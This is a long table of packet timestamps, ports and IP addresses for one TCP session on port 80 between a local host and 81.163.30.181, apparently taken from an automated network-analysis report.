Jan 14, 2022 20:23:52.098557949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098563910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098598003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098639011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098676920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098684072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098716974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098721981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098756075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098795891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098835945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098849058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098874092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098880053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098913908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098953009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098989964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099004030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099030972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099035978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099070072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099109888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099149942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099157095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099188089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099195004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099227905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099267006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099306107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099312067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099350929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099376917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099390984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099430084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099471092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099519968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099528074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099530935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099570036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099608898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099646091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099661112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099685907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099699020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099724054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099761963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099801064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099817038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099838972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099858046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099879980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099920034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099956036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.099988937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.099993944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100012064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100033045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100074053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100116014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100152969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100167036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100187063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100197077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100238085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100271940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100274086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100316048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100353003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100368977 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100393057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100400925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100435972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100474119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100514889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100536108 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100555897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100594044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100600958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100634098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100673914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100703001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100716114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100743055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100759029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100795984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100836039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100848913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100874901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100898981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.100955963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.100995064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101032972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101057053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101070881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101097107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101119041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101159096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101196051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101229906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101234913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101238012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101274967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101316929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101356030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101382971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101394892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101409912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101435900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101475954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101514101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.101566076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.101594925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.108114958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.127593040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.128981113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129019976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129070997 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.129098892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129143000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129179955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129216909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.129219055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129246950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.129259109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129297018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.129333973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.144778013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.149612904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.151387930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158262968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158308029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158345938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158385038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158410072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158425093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158454895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158463955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158504963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158543110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158584118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158596992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158618927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158658028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158729076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158766031 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158767939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158808947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158833027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158871889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158910036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158950090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.158966064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.158994913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159003973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159044981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159104109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159142971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159184933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159202099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159213066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159224987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159326077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159332037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159367085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159408092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159410954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159446955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159490108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159507990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159529924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159567118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159589052 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159606934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159642935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159682035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159696102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159723043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159729004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159760952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159801006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159832954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159863949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159909964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.159912109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159970045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.159985065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160028934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160085917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160105944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160145044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160202026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160232067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160242081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160279989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160311937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160320997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160362005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160367012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160398960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160439014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160453081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160479069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160516977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160546064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160556078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160594940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160631895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160635948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160669088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160686970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160706997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160737991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160778046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160816908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160856962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160862923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160893917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160933018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160973072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.160979033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.160995007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161058903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161098957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161103964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161138058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161175966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161215067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161222935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161254883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161261082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161303043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161375999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161390066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161413908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161453009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161470890 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161494017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161533117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161571980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161592007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161612034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161632061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161649942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161689043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161726952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161731005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161767006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161767960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161807060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161844015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161890030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161911964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161952019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.161956072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.161989927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162029028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162067890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162075996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.162106037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162108898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.162153959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162220001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.162264109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162306070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162359953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162420988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162422895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.162462950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162467957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.162501097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162540913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.162585020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.186610937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186664104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186702967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186728954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.186743021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186764002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.186784029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186822891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186863899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186870098 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.186901093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.186937094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.201566935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.202207088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.208182096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220052958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220101118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220140934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220199108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220213890 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220247030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220258951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220330000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220381975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220405102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220432997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220451117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220484972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220524073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220577002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220582962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220628977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220633030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220668077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220707893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220716000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220747948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220784903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220824003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220824957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220865965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220904112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220906019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.220943928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.220983982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221000910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221024036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221029043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221066952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221105099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221143961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221159935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221184969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221206903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221223116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221262932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221302986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221311092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221344948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221354008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221385002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221424103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221462965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221474886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221503019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221539974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.221551895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.221580029 CET	80	49866	81.163.30.181	192.168.2.3
